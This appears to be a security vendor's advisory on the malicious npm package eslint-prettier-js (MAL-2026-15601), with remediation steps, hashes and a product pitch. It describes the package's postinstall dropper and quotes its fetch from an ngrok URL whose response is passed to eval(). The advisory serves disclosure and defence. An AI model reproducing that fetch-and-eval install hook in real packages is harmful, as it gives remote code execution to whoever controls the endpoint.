Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

eslint-prettier-jsnpm

Advisory published Updated

eslint-prettier-js is a confirmed malicious npm package (MAL-2026-15601) that executes malicious code on install (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in eslint-prettier-js (npm)

MAL-2026-15601
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall eslint-prettier-js

What this malware does

The package's postinstall hook runs index.cjs's onInstall(), which performs await fetch("https://2939e69fc408.ngrok-free.app/stats") and passes the response body to eval(). On npm install this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description ("Test eslint and prettier") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
0.0.1

Indicators of compromise (SHA-256)

dc148ed2256ce70dc5162c2b971837f0080a5d3dcce6a46be0305661515c5549
657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for eslint-prettier-js (version 0.0.1).

  2. If you installed it — respond

    Remove eslint-prettier-js from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If eslint-prettier-js was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. eslint-prettier-js on npm has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-fp43-fcrg-6w93IN-MAL-2026-019171

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks eslint-prettier-js-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

eslint-prettier-js (npm) malicious package — MAL-2026-15601 | O3 Security